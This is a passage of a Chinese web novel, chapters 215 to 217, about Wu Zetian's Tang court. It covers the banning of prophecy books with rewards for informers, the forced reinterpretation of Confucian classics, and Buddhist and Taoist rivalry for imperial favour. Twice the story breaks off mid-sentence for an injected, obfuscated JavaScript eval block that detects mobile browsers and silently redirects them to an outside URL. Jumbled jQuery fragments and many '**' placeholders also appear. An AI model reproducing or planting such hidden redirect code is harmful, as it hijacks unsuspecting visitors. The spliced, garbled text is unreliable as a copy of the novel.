《大唐报》的墨香,已经开始在帝国的空气中弥漫。它能否真的“文章定是非”,尚需时间检验。但至少,它让一种不同于“天启”神谕和污言秽语的声音,得以发出,并被越来越多的人听到。
第215章 禁谶纬之书
《大唐报》的墨香尚在洛阳、长安的街巷间飘荡,其“以实击虚”、“正面引导”的策略初显成效,朝野上下就另一桩更为肃杀、也更为根本性的思想清剿行动,感受到了来自帝国最高权力中心的凛冽寒意。
事情始于洛阳北市一间不起眼的书肆。店主姓胡,是个精瘦的中年人,除了贩卖寻常的四书五经、诗文杂集,暗地里也做一些“特殊”书籍的买卖——多是些前朝遗留下来的谶纬、图录、占候、相书,乃至一些语焉不详、暗藏机锋的民间歌谣抄本。这类书籍,自魏晋以来屡遭朝廷查禁,但从未绝迹,总是在地下悄悄流传,满足着一部分人对神秘预言的猎奇,或为某些心怀异志者提供“天命所归”的臆想依据。
胡店主行事谨慎,这类“**”从不公开摆放,只卖给信得过的熟客,或经人引荐、出价高昂的买家。生意虽不算大,但利润颇丰,足以让他在这洛阳北市置下一份不小的家业。
直到数日前,一位操着关西口音、衣着华贵、自称是某位致仕高官管家的客人,通过隐秘渠道找上门,指明要寻几本“真正的、有来历的”谶纬古本,价钱好说。胡店主见对方气度不凡,出手阔绰,又经中间人再三保证,便动了心,从密室中取出了几本压箱底的“好东西”:一本纸张泛黄、据说是南朝流传下来的《**》残卷;一本手抄的《曹元理歌》;还有一卷更为隐秘的、据传是隋末流传的《桃李章》注解。
交易在深夜秘密完成。胡店主捧着沉甸甸的金锭,心满意足。然而,他并不知道,那位“关西贵客”,实则是北门学士麾下、奉了密令的察子。他更不知道,就在交易完成次日,一队如狼似虎的金吾卫士兵便破门而入,将他的书肆翻了个底朝天,那些尚未售出的“**”,连同他暗中记录的客户名册,悉数被查抄。胡店主本人,则以“私藏、贩卖妖书,图谋不轨”的罪名,被投入了大理寺的诏狱。
这并非孤例。几乎在同一时间,长安西市一家看似经营文房四宝、实则暗藏玄机的铺子,也被查封,查抄出大量谶纬书籍和私刻的星象图。接着,洛阳南郊一处道观,因道士私下为人“推演天命”,牵扯出数卷“预言女主治世,阴阳颠倒”的谶书,观主被锁拿,道观被封。长安某位喜好收藏古籍的致仕老翰林,也被登门“拜访”,从其书房暗格中起获数卷前朝**,老翰林惊惧交加,当夜便中风不起。
行动迅捷、精准,且打击面迅速扩大。从最初的私贩书商、隐秘道观,扩展到一些喜好藏书的文人士大夫、乃至个别与某些世家大族有牵连的僧侣、方士。查抄出的“**”种类繁多,有预言朝代更迭的,有暗指“女主昌”、“武王代唐”的,有以隐语编排当朝权贵的,也有单纯占卜吉凶、但内容“荒诞不经、蛊惑人心”的。其中,最引人注目的,是几份在洛阳、长安地下悄然流传的手抄歌谣,内容影影绰绰,将“洛水瑞石”与某些前朝“女主祸·国”的谶语联系起来,暗示“瑞石”非吉兆,而是“阴盛阳衰”、“牝鸡司晨”的灾异之始。
消息像带着倒刺的冰棱,扎进了两京的官场和士林。最初,人们以为这又是一次针对“妖言惑众”的寻常清理,虽然严厉了些,但也不算太出格。毕竟,历朝历代对谶纬之说都有所防范。但随着被抓捕的人员越来越多,涉及的范围越来越广,尤其是当一些平时只是私下谈论谶纬、并无明显不轨之迹的士人也卷入其中时,恐慌开始蔓延。
人们意识到,这绝非一次简单的治安行动。其背后,是来自宫廷最深处的意志,是一次有计划的、系统的思想清剿,目标直指一切可能威胁到当前权力格局——尤其是威胁到武则天“圣母临人”地位——的“异端”言论和思想载体。
紫宸殿内,气氛凝重。皇帝李治的精神时好时坏,今日勉强临朝,但主要政事已多由武则天在帘后决断。此刻,关于查禁谶纬书籍的奏报,正由御史中丞崔谧呈上。崔谧是武则天提拔的官员,以干练敢言著称,此次查禁行动,他便是明面上的主要执行者之一。
“……自月初至今,于两京及畿辅要地,共查获私藏、刻印、传播谶纬、图录、妖书、伪歌谣等,共计一千三百余卷(册)。拿获首要人犯二十七人,涉案牵连者一百四十三人,现已分别收押于大理寺、京兆府、河南府狱中。所查获之书籍,多有妄言国运,私议休咎,甚或影射朝政,诋毁圣人,蛊惑民心,实为祸乱之源。其中尤有数种,借谶纬之名,行诽谤之实,其心可诛!”
崔谧的声音在殿中回荡,百官肃立,不少人低眉垂目,心中惴惴。谁家书房里没几本杂书?谁又没在与友人私谈时,引用过几句谶语或民间传言以作谈资?这次查禁的尺度如何把握?会不会扩大化,演变成一场以言罪人的**?
李治靠在御座上,面色疲惫,听完奏报,缓缓道:“谶纬妖言,惑乱人心,向为朝廷所禁。此次查办,务必证据确凿,勿枉勿纵。至于涉案人等……依律严惩便是。”他的声音不高,带着病后的虚弱,但“依律严惩”四个字,还是让不少人心中一凛。依的是什么律?前朝《开皇律》、《武德律》乃至本朝《永徽律》中,对“造妖书妖言”皆有严惩,重者可至绞、斩。
“陛下,”宰相之一,侍中许圉师出列,他年事已高,须发皆白,是朝中较为持重的老臣,他斟酌着言辞道,“谶纬之书,诚然有妄诞不经、蛊惑人心之弊,理应查禁。然则,此类书籍流传已久,民间私藏者众,士林之中,亦有以之为学问、考据典故者。若一概以‘妖言’论处,牵连过广,恐伤士人之心,亦有损陛下仁德。臣以为,当明示期限,许其自首上缴,官府销毁,可免其罪。逾期不缴,再行严惩。如此,既彰朝廷法度,亦显陛下宽仁。”
许圉师的话,代表了一部分较为理性、不愿扩大化的朝臣的意见。他们支持清理那些明显攻击朝廷、诽谤“二圣”的言论,但担心打击面失控,演变成一场文化浩劫,或者被某些人利用来清除异己。
这时,帘后传来武则天平静而不容置疑的声音:“许相所言,老成谋国,心存仁恕,本是好意。然则,非常之时,当用非常之法。如今‘洛水献瑞,圣母临人’,乃上天嘉佑,陛下洪福。当此吉兆,竟有宵小之辈,私藏妖书,传播伪谶,影射攻击,其心可诛,其行可恶!此非寻常学问之争,乃动摇国本、诋毁天命之大逆!若姑息养奸,限期自首,则奸猾之徒必心存侥幸,匿书不报,或转移销毁,反令朝廷法令形同虚设。唯有雷厉风行,彻底清查,以儆效尤,方能震慑不轨,澄清玉宇,以正视听!”
她的声音并不高亢,但字字清晰,带着一股不容置疑的决断力。殿中一片寂静。许圉师张了张嘴,最终没再说什么,默默退回了班列。谁都听得出,天后的态度异常坚决。这不是一次普通的**,而是一场**清算,目标是所有可能挑战“圣母临人”这一官方叙事的“异端”思想。在这个大前提下,任何“宽仁”、“限期”的建议,都显得不合时宜。
“天后所言甚是。”御史大夫、同中书门下三品李义府立刻出列附和,他声音尖细,带着惯有的谄媚与凌厉,“谶纬妖言,最易蛊惑无知小民,亦为心怀叵测者利用,祸乱之根,不可不除!臣以为,当颁布严令:天下官民僧道,凡私藏、传抄、刊印、宣讲谶纬、图录、符命、预言歌谣等书籍者,限一月内,自行赴官焚毁。逾期,或隐藏不报者,一经查出,本人处流三千里,家人连坐;官吏知而不举者,同罪;坊正、里长、四邻不纠告者,杖一百。各处寺观、学堂、书肆,需具结保证,并无藏匿。御史台、刑部、大理寺及地方有司,需严加稽查,凡有告发,查实重赏!”
这比之前崔谧的奏报更加具体,也更加严酷。连坐、鼓励告发、官吏同罪、邻里连坐……一套完整的、足以让人人自危的检举揭发和惩罚体系被提了出来。不少朝臣脸色发白,尤其是那些家中藏书颇丰,或平日喜好谈论玄怪、谶纬的官员,更是后背冒汗。
李治皱了皱眉,似乎觉得李义府的建议过于严苛,但看了看帘后的方向,又看了看殿中沉默的百官,最终疲惫地挥了挥手:“就依李卿所奏,详定条陈,颁行天下吧。务要……务要掌握分寸。”最后的补充,显得苍白无力。
“臣,领旨。”李义府躬身,嘴角掠过一丝不易察觉的笑意。他知道,这又是一次排除异己、讨好天后的绝佳机会。哪些人的家里可能藏着“不该有”的书?哪些人又曾“妄议”过时政、“非议”过天后?正好借此机会,好好清理一番。
这时,一直沉默不语的李瑾,出列了。他的声音平稳,在寂静的大殿中显得格外清晰:“陛下,天后,李御史所奏,旨在肃清妖言,安定人心,臣附议。”
他的表态让一些人略感意外。梁国公素以务实、稳重著称,此番竟也支持如此严苛的**令?
李瑾继续道:“然则,臣有一虑,请陛下、天后明察。谶纬之说,源远流长,其中固然多荒诞不经、蛊惑人心之语,然亦夹杂先秦古记、天文历算、地理杂说,乃至先贤只言片语。若一概焚毁,恐有玉石俱焚之憾,亦不免予人口实,谓朝廷焚书禁言,非圣主明君所为。”
他顿了一顿,看到帘后的身影微微动了一下,李义府则投来审视的目光。李瑾不慌不忙,接着说道:“故臣提议,可在查禁焚烧之余,由秘书省、弘文馆、崇文馆牵头,召集博学鸿儒,对收缴之谶纬书籍,进行甄别。凡确属妄言祸福、诽谤朝政、惑乱民心者,一律销毁,绝不留情。其内偶涉天文、地理、医药、农时等有用之记载,或可辑录保存,去其荒诞,留其知识。如此,既绝妖言之根,亦存百家之学,彰显朝廷并非一味禁绝学问,而是去芜存菁,导人向正。此乃‘禁其邪说,存其知识’之意。”
这个提议,让不少担心文化受损的官员暗暗点头。连许圉师也看了李瑾一眼,目光中多了几分认可。
李瑾又道:“再者,禁绝妖言,堵不如疏。近日《大唐报》刊行,百姓颇喜闻乐见。可借此报,多刊载些破除迷信、讲解天地自然之理、劝人务实向善之文章。使百姓知晓,吉凶在人,不在谶纬;富贵在勤,不在天命。晓之以理,导之以正,方是正本清源之道。”
他这番话,既支持了查禁谶纬的大方向,顺应了武则天肃清异己思想的需求,又提出了相对“温和”且有建设性的补充意见:甄别保存有用知识,以及利用《大唐报》进行正面引导。既显示了与中央保持一致的态度,又在一定程度上限制了打击面无限扩大,并为《大唐报》争取了更重要的**教化功能。
帘后沉默了片刻,武则天的声音再次响起,听不出什么情绪:“梁国公思虑周详,老成谋国。‘禁其邪说,存其知识’,此言甚善。便依梁国公所奏,于查禁之外,着秘书省等遴选醇儒,对收缴书籍予以甄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057385|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别,有用者录存,妖妄者焚毁。至于以《大唐报》导人向正,更是良策,梁国公可着报局用心办理。”
“臣遵旨。”李瑾躬身领命。他知道,自己的建议被采纳,并非天后改变了主意,而是自己的提议在“禁”的大前提下,提供了更稳妥、更少后患的执行方案,并且将《大唐报》的作用提升到了“正本清源”的高度,这符合天后的根本利益。
一场席卷全国的**风暴,就此以更明确、更严厉的形式拉开序幕。诏书很快颁行天下,措辞严厉,限令一月之内,所有私藏谶纬、图谶、符命、预言歌谣等“妖书”者,必须自行赴官焚毁,否则严惩不贷。鼓励告发,告发者赏,隐匿者同罪。地方官府闻风而动,一时间,各地州府县衙前,焚烧“**”的火焰此起彼伏,浓烟滚滚。有人为了避祸,将家中稍涉怪力乱神的书籍,甚至一些正经的阴阳五行、占卜星相典籍,也一并拿出焚毁。士林之中,更是人人自危,相互告诫,莫谈谶纬,莫藏异书。
李义府、崔谧等人主持的查办,则更加雷厉风行。借着这道诏令,他们罗织罪名,打击异己。一些与关陇世家过从甚密、或曾对“圣母临人”流露出不满的官员、文人,被以“私藏妖书”、“传播谤言”的罪名下狱。抄家、审讯、流放……恐怖的气氛在官场和部分士人圈中弥漫。虽然李瑾“甄别存录”的建议在一定程度上限制了滥杀,但**清洗的味道,已然浓得化不开。
而与此同时,《大唐报》按照李瑾的指示,连续刊发系列文章。有考证谶纬起源、指出其多系后人附会伪造的考据文;有列举历代因迷信谶纬而身死国灭教训的史论;有讲解农时节气、天文历法等自然知识的科普短文;更有大量宣扬“人定胜天”、“勤俭致富”、“忠君爱国”的劝世良言。虽然其中不可避免地夹杂着对“天命所归”、“圣母临人”的颂扬,但整体上,确实在尝试用一种相对“理性”(以当时的标准)和务实的态度,去引导**,抵消谶纬迷信的影响。
两京的茶楼酒肆里,关于“**令”的窃窃私语,与诵读《大唐报》的声音交织在一起。一方面,是对朝廷铁腕手段的恐惧和私下非议;另一方面,是官方通过报纸传递的“正确”信息和价值观的持续灌输。恐惧压制了公开的异见,而持续的正面宣传,则试图在人们心中构建起新的认知框架。
深夜,梁国公府书房。李瑾放下手中最新一期的《大唐报》清样,上面有一篇他授意撰写的文章,谈的是“谣言止于智者,实干兴邦,空谈误国”。他揉了揉眉心,看向窗外沉沉的夜色。
禁谶纬,是武则天巩固权力、清除思想异己的必然之举。他支持,是因为那些攻击性的谶语和流言,同样也威胁着他的地位和安全。但他更清楚,这种以**权力强行统一思想、扼杀一切“异端”苗头的手段,短期内或许有效,长期来看,却会扼杀思想的活力,造就万马齐喑的局面,甚至催生更极端的反抗。他提出“甄别存录”和利用报纸引导,是在这铁幕之下,试图保留一丝理性的缝隙,播下一点务实的种子。
“以言罪人,古已有之。然防民之口,甚于防川。堵截愈严,其溃愈烈。”他对侍立一旁的谋士沈谦低声道,“今日禁谶纬,明日又当禁何书?禁何言?长此以往,非国家之福。”
沈谦低声道:“国公所虑极是。然则天后之意已决,借‘洛水瑞石’之天意,行肃清异己之实。眼下之势,顺之者昌。国公能于其中,略作匡正,保存些许有用之学,已属不易。”
李瑾默然。他知道沈谦说得对。在武则天借助“天命”光环,权力和威望如日中天之际,任何直接的反对都是不明智的。他只能在这洪流之中,尽量做一些修补和引导的工作。
“《大唐报》那边,关于破除迷信、倡导实学的文章,可以再多一些。多请些真正懂农事、懂水利、懂工匠技艺的人来写,哪怕文笔差些也无妨,重在实在。那些空谈性理、一味颂圣的酸文,适当减少。”李瑾吩咐道,“另外,上次说的,遴选国子监、弘文馆中聪颖寒门子弟,开设实学旁听之事,章程拟得如何了?”
“回国公,已初步拟就。只是……”沈谦有些犹豫,“此事恐需陛下或天后明旨,且涉及学制改动,阻力不小。尤其是一些大儒,认为此乃舍本逐末,不重圣人之学,反去学那些奇技淫巧……”
“阻力会有,慢慢来。”李瑾目光坚定,“谶纬要禁,但人心中的迷茫和求知欲,是禁不住的。不给他们一个正向的出口,他们就会被别的东西吸引。**令是堵,我们的实学,包括这报纸上的务实文章,就是疏。堵疏结合,方是长久之计。”
他再次看向窗外。洛阳的夜空,被各处焚烧“**”的火光,映得微微发红。那火光,既是毁灭,也在昭示着一种不容置疑的权威。而他所能做的,就是在允许的范围内,尽可能多地保存下思想的火种,并试图引导它们,照亮另一条或许更为艰难,但也许能通往更坚实未来的道路。
禁谶纬的火焰在各地燃烧,《大唐报》的墨香也在继续飘散。一场思想领域的“破”与“立”正在同步进行。破的是旧有的、可能威胁现有秩序的“异端”思想;立的,是官方钦定的、以“圣母临人”为核心、辅以“务实”、“忠君”等元素的新意识形态。李瑾身处其间,既是参与者,也是某种程度的修正者。他知道,这条路不会平坦,但他必须走下去。
第216章 重释经典义
**的硝烟尚未散尽,经卷焚毁的焦糊味仿佛还萦绕在洛阳、长安的街巷上空,另一场在思想领域更为深远、也更为根本的“建设”工程,已在紧锣密鼓地筹备之中。这一次,目标直指帝国意识形态的基石——儒家经典。
“牝鸡司晨,惟家之索。”这句出自《尚书·牧誓》的古语,如同一个巨大的阴影,始终笼罩在武则天走向权力巅峰的道路上。尽管“洛水瑞石”以“天意”的形式试图冲破这层桎梏,尽管《大唐报》以铺天盖地的正面宣传塑造着“贤德圣母”的形象,尽管禁谶纬的雷霆手段暂时压制了公开的诽谤,但在士林之中,在那些恪守传统礼教的儒家士大夫心底,这句古老的训诫,依然是一道难以逾越的鸿沟,是反对者们最强有力的理论武器。流言可以查禁,谶纬可以焚毁,但圣人经典中的话语,却如巍巍高山,难以撼动。
武则天深谙此道。她明白,仅仅依靠“祥瑞”的神权和严厉的**,不足以长久稳固她的地位,尤其难以真正赢得天下士人之心,而士人之心,是统治这个庞大帝国的关键。她需要一套能够自圆其说,甚至能与传统经典分庭抗礼,至少是能对经典做出符合她需求之新诠释的理论体系。这套体系,必须根植于儒家经典本身,从内部解构“牝鸡司晨”的旧论,构建起“圣母临朝”的新义。
麟德三年秋,一场被后世史家称为“经筵重释”的浩大工程,在洛阳宫城内的集贤殿悄然启动。名义上,是皇帝李治“感念圣人之学微言大义,日久或有湮没,恐后世不彰”,特下诏命,召集天下博学鸿儒、经学大家,汇聚东都,重新校勘、注释儒家经典,“以明圣道,以正人心”。但明眼人都清楚,真正主导此事、并赋予其特殊**使命的,是帘后的天后武则天。
主持其事的,是时任礼部尚书、同中书门下三品的许敬宗。这位以文才和谄媚著称的老臣,深谙天后心意,是执行此项“文化工程”的最佳人选。协助他的,还有一批被武则天提拔、倚重的“北门学士”,如元万顷、刘祎之、范履冰、周思茂等人。他们多出身寒微或中下层官僚家庭,以文采见长,锐意进取,对传统士族把持的经学解释权早有不满,也更容易接受和阐发新的、有利于天后执政的理论。
当然,仅仅依靠许敬宗和北门学士是不够的。为了增加这项工程的“权威性”和“广泛性”,减少来自传统经学世家的阻力,武则天还下诏,征召了一批在士林中素有清望、学问扎实,但相对不那么顽固保守的大儒入京,参与校勘注释。如以精研《春秋》著称的谷那律,擅长《礼记》的贾公彦,博通五经的孔颖达后人(虽孔颖达已去世,但其学派影响仍在)等。甚至,对那位曾以“牝鸡司晨”为由上书反对她封禅亚献的老臣郝处俊,也给予了表面上的礼遇,未加罪责,只是“体谅”其年高,未强征其入京,但此举本身,就是一种姿态。
集贤殿内,典籍如山,墨香四溢。来自各地的鸿儒、学士、校书郎济济一堂,每日埋首于浩如烟海的经典之中,考据、辩难、商榷、撰述。表面上,这是一次空前规模的学术盛事,是对先贤经典的“正本清源”。但暗地里,一股无形的导向力量,在许敬宗和北门学士们的巧妙运作下,弥漫在殿宇之间。
“诸位,陛下有旨,此番重注经典,贵在‘通达时变,明体达用’。”许敬宗在首次集议时,便定下了基调,“圣人之言,微言大义,然时移世易,若拘泥章句,不解其精神实质,则无异于刻舟求剑,反失圣人本意。如今天下升平,陛下圣明,天后贤德,共理阴阳,此乃千古未有之盛事。吾辈学人,当领会圣人之‘仁政’、‘民本’之要义,为当世治国理政,提供镜鉴。”
话说得冠冕堂皇,但在具体的研究和注释方向引导上,意图逐渐清晰。重点被放在了那些涉及“夫妇之道”、“阴阳和合”、“母仪天下”、“贤内助”等主题的经典篇章上。
对《诗经》,他们着力挖掘和颂扬那些赞美“后妃之德”、“贤明内助”的诗篇,如《关雎》被解释为歌颂“后妃之德,乐得淑女以配君子,忧在进贤,不淫其色”,强调后妃“辅佐君子”的重要性;《葛覃》被引申为后妃“躬俭节用,服澣濯之衣”,以示勤俭德政;甚至《卷耳》也被解释为后妃“志在辅佐君子,求贤审官”,而非简单的思夫之作。而对那些可能被解读为“女祸”的诗篇,如涉及褒姒、妲己的,则淡化处理,或解释为“君王失德,非女子之罪”,重点批判昏君,为“红颜祸水”论脱敏。
对《尚书》,除了继续弱化“牝鸡司晨”的负面解读(将其解释为特指商纣王时妇人干政乱国,而非普遍规律),更重点阐发《尧典》、《舜典》中关于尧舜禅让、选贤与能的思想,暗喻“唯德唯才”是执政的关键,而非性别。同时,大书特书《尚书》中关于“敬天保民”、“明德慎罚”的治国理念,将其与当下“二圣”的“仁政”联系起来。
对《礼记》,尤其是《内则》、《昏义》等篇,进行了创造性的重新诠释。传统解释强调“男尊女卑”、“妇人从人”,而许敬宗等人则引导学者们着重阐发其中关于“妇德”、“妇言”、“妇容”、“妇功”的积极内涵,并将其与“齐家治国”联系起来,强调“家齐而后国治”,一位具有卓越德行和智慧的“国母”或“贤内助”,对于“齐家”乃至“治国”具有不可或缺的作用。他们甚至从古籍中搜罗、或“重新发现”了一些关于古代贤明后妃(如周之三太:太姜、太任、太姒)辅佐夫君、教化子孙、安定邦国的记载,将其系统整理、放大,作为“圣母临朝”的历史先例和理论依据。
对《周易》,则巧妙运用其阴阳变化、相生相克的哲学思想。一方面,承认“乾道成男,坤道成女”,“天尊地卑”的秩序;另一方面,则大力阐发“一阴一阳之谓道”、“乾坤并建”、“阴阳和合而万物生”的道理,强调阴阳并非绝对对立,而是相辅相成,缺一不可。在特定时期,比如“阳”弱(指皇帝多病)或天下需要“柔顺”之德来调和时,“阴”的积极作用就显得尤为关键,这便为女性在特殊时期的执政,找到了哲学上的合理性。
这项工作并非一帆风顺。尽管有许敬宗的导向和北门学士们的推动,但参与其中的许多传统学者,内心深处对如此“为我所用”地诠释经典,尤其是明显为女性执政张目的诠释,感到抵触和不安。辩论时有发生。
一次,在讨论《礼记·郊特牲》中“妇人无爵,从夫之爵”的经义时,一位来自山东的老儒生,姓郑,是研究《三礼》的世家,耿直地提出:“此经义昭然,妇人本无独立爵位,其荣辱系于夫、子。今若强行曲解,恐非治学之道,亦难服天下士人之心。”
元万顷立刻反驳:“郑公所言差矣。圣人之言,需观其大义。‘妇人无爵’,乃言其礼制名分,然妇人有无德行才具?有无辅佐之功?古之太姜、太任、太姒,虽无天子、诸侯之爵,然其贤德教化,泽被周室八百年,其功岂在爵位之下?今皇后天后,佐陛下理万机,夙夜匪懈,德被苍生,此乃大德大能,岂可拘泥于‘无爵’之文,而掩其经天纬地之功?吾辈注经,当通其变,使圣人之学,能应时务,能彰懿德,方不负圣人之心,亦不负陛下、天后重托!”
郑老儒生面红耳赤,还想争辩,旁边几位与他相熟的学者暗暗拉他衣袖。他们看到,端坐于上、监督经筵的许敬宗,脸色已然沉了下来。最终,在“领会圣意”、“通达时变”的大帽子下,郑老儒生的意见被搁置,注释的方向,依然朝着论证“妇人贤德可配天地,功绩不囿于名爵”的方向进行。
类似的“学术争论”时有发生,但结果大多类似。在**权威和主流导向的双重压力下,在“北门学士”们引经据典、纵横捭阖的辩才面前,许多持传统观念的学者,或沉默,或妥协,或选择性地保留意见,只在自己的专门领域内做考据功夫,对涉及敏感**诠释的部分,避而不谈。也有少数硬骨头的学者,以“年老体衰”、“学问不精”为由,请求退出,朝廷也大多“恩准”,并未强留,但这些人自此在学术界便逐渐边缘化了。
李瑾作为宰相,也时常被邀请参与经筵的“评议”。他的态度颇为微妙。一方面,他理解并支持武则天为巩固权力而在意识形态上进行的努力,清除那些攻击性的谶纬和流言,构建有利于她执政的理论基础,从现实**角度看是必要的。他也同意,对经典的解释不应僵化,应当结合时代需要有所发展。但另一方面,他内心深处对许敬宗等人如此露骨、甚至不惜曲解经义来迎合**需求的做法,抱有保留态度。他认为,这或许能解一时之急,但长远来看,损害了学术的独立性和经典的神圣性,可能开启一个“以经注我”而非“我注经”的恶劣先例。
在一次经筵评议中,当讨论到如何诠释《
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057386|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孟子》中“民为贵,社稷次之,君为轻”时,有北门学士试图引申为“君主当以民为本,天后勤政爱民,正合孟子之道”,李瑾委婉地提出了不同看法。
“孟夫子此言,重在民本,乃治国之要义,自当弘扬。”李瑾缓缓道,“然则,经义阐发,当立足于文本,顾及整体。若过度引申,恐失本意,反为后世诟病。愚以为,此番重注经典,除‘通达时变’外,‘严谨求实’亦不可偏废。所发之新义,当有扎实的文献依据和合乎逻辑的推演,方能经得起推敲,传之后世。否则,若注释过于牵强,恐难服真正潜心学问之士,反损天后求贤若渴、尊崇圣学之美意。”
他这番话,既没有反对为武则天执政寻找理论依据的大方向,又强调了学术的严谨性,暗示不应为了**目的而强行扭曲经典原意。许敬宗等人听了,虽然心中不以为然,但李瑾位高权重,且话说得在理,也不好直接反驳,只得打着哈哈,说“梁国公所言甚是,自当严谨”。
李瑾也利用自己的影响力,在“重释经典”的大框架下,悄悄注入了一些自己的理念。他建议在注释中,除了关注君臣、夫妇之义,也应加强对“经世致用”、“富国强兵”、“重视农商”、“选贤任能”等务实思想的挖掘和阐发。他特别提出,对《周礼》中涉及官职、赋税、军制、工程等具体制度的部分,应详细考据注释,以为当代制度革新提供参考。这些建议,符合他一直以来“务实”的执政理念,也多少冲淡了一些纯粹为**服务的功利色彩,得到了部分务实派学者的赞同。
武则天对经筵的进展保持着密切的关注。每隔几日,许敬宗便会将最新的注疏文稿和讨论摘要,整理成册,送入宫中。武则天往往在深夜批阅完奏章后,仔细翻阅这些文稿。看到那些巧妙地为她执政提供依据的新解,她会微微颔首;看到其中引用的古代贤后事迹,她会若有所思;看到李瑾关于“严谨求实”、“经世致用”的建议,她则会沉吟片刻。
她欣赏李瑾的稳妥和务实,也明白过于露骨的曲解可能带来的反效果。但眼下,她最需要的,是尽快建立起一套能够抗衡“牝鸡司晨”论调的理论武器。因此,在大多数时候,她默许甚至鼓励了许敬宗等人相对“激进”的诠释方向。只是在一些特别敏感、可能引发巨大争议的地方,她会亲自批示,要求“措辞需更稳妥”,“引证需更详实”,或“暂且搁置,容后再议”。
集贤殿内的灯火,常常亮至深夜。校勘、辩难、撰写、修改……一部部被赋予了新含义的儒家经典注疏,正在这里逐渐成形。它们将被呈送御览,然后刊印天下,成为官定的教科书,纳入科举考试的范围,通过各级官学,灌输给未来的士人。
这场“重释经典义”的运动,其影响是深远而复杂的。一方面,它确实在儒家经典体系中,为女性参与最高**权力打开了一条理论缝隙,提供了一套至少能自圆其说的说辞,极大地削弱了传统礼教对武则天执政的**阻力,为她的权力披上了一层“合乎圣道”的外衣。另一方面,它也开创了**权力直接干预、甚至重塑经典解释的恶例,使得学术日益沦为**的附庸,经学的严肃性和独立性受到侵蚀。那些被压制、被边缘化的传统学者,心中的不满在积蓄,等待着宣泄的时机。
李瑾走出集贤殿时,秋日的夕阳将宫殿的琉璃瓦染成一片金红。殿内,那些白发苍苍或正当壮年的学者们,仍在为了一句经文、一个释义而争论不休。他知道,这场由**需求驱动的“学术”工程,注定会留下争议。但他也清楚,在当前的权力格局下,这是武则天必然的选择,也是巩固统治的必要步骤。
他能做的,只是在这股洪流中,尽力保持一丝清醒,埋下一些务实的种子,并警惕着,不要让这场“重释”彻底滑向为权力肆意涂抹的深渊。至于这些新注释的经典,最终能在多大程度上说服天下士人,又会在历史上留下怎样的评价,只有留待时间去检验了。
然而,武则天并未将全部希望寄托于对儒家经典的重新诠释上。几乎与此同时,她投向另一股强大思想力量的目光,也变得更加热切和意味深长——那便是自西方传来,在中土已扎根数百年的佛教。与需要小心“修正”的儒家经典相比,佛教经典中,似乎有着更为直接、也更为她所喜闻乐见的,关于女性最高统治者合法性的理论资源。一场新的思想博弈,即将在另一个场域展开。
第217章 佛道争恩宠
集贤殿内儒生们为经典字句争执不休的墨香尚未散去,另一场不见硝烟却同样激烈、牵动帝国意识形态走向的争夺,已在宫廷内外、两京的寺观之间悄然展开。这便是释、道两家,为争夺皇室恩宠、官方认可乃至国教地位的角逐。
自两汉之际佛教东传,经魏晋南北朝蓬勃发展,至李唐开国,已与本土道教、儒家成鼎足之势。唐初,因老子(李耳)与皇室同姓,被尊为始祖,道教一度被奉为“本朝家教”,地位尊崇。高祖、太宗时,虽对佛教亦多有优容,但“道先佛后”的排序,大体得以维持。然而,随着武则**力日盛,情况开始发生根本性的变化。与需要费尽心机、在字里行间寻找依据的儒家经典相比,佛教经典中关于“女身成佛”、“女王治世”的教义,以及其更为宏阔的彼岸世界观和严密的哲学体系,似乎更能为她突破性别桎梏、构建至高权威,提供直接而有力的理论武器和精神慰藉。
风向的微妙变化,最先在宫廷内部和两京的高级僧侣、道官之间敏锐地捕捉到。
洛阳皇宫深处,专为武后母亲荣国夫人杨氏礼佛而设的小佛堂内,香火日益鼎盛。杨氏笃信佛教,晚年尤甚,武则天为表孝心,不仅时常亲自陪同母亲诵经礼佛,更敕令扩建佛堂,延请高僧入宫讲·法。近来,一位从长安慈恩寺请来的高僧,法号“法明”,尤得武后赏识。法明禅师不仅精通《华严》、《法华》诸经,更对《大云经》中“女王承嗣,威伏天下”的经文别有阐发,讲述时深入浅出,常使听者动容。武后听经的时日明显增多,赏赐也格外丰厚,甚至特许法明禅师可随时入宫,为太后和皇后讲解佛法。
与此形成对比的是,原本在宫中为皇室主持斋醮、炼制丹药的道士们,感受到的“圣眷”明显不如从前。尽管皇帝李治出于养生和祈求长生的目的,对道教炼丹术仍有兴趣,时有召见,但来自天后方向的关注和支持,却显著减少。一位长期供奉内廷、精于符箓和天文历算的老道士郭行真,在一次为皇帝主持完祈福法事后,曾委婉地向负责宫廷供奉的官员提及,宫中几处道观年久失修,丹房药材亦有短缺,希望朝廷能拨付资财修缮补充。然而,奏请递上去后,却如石沉大海,最后只得到“库用紧张,容后再议”的含糊答复。与之相对,天后为慈恩寺、弘福寺等洛阳大寺题写匾额、赏赐田产、资助译经的消息,却不时传来。
嗅觉灵敏的朝臣们立刻捕捉到了这一信号。以许敬宗、李义府为首的一批官员,开始主动亲近佛教,或在家中设佛堂,或与高僧往来,在奏疏言谈中,也多有引述佛经、赞颂佛法之语。而一些与关陇世家关系密切、或思想较为保守的官员,则依然保持着对道教的好感,或至少是维持“道先佛后”的传统立场,私下里对日渐兴盛的“佛事”颇有微词。
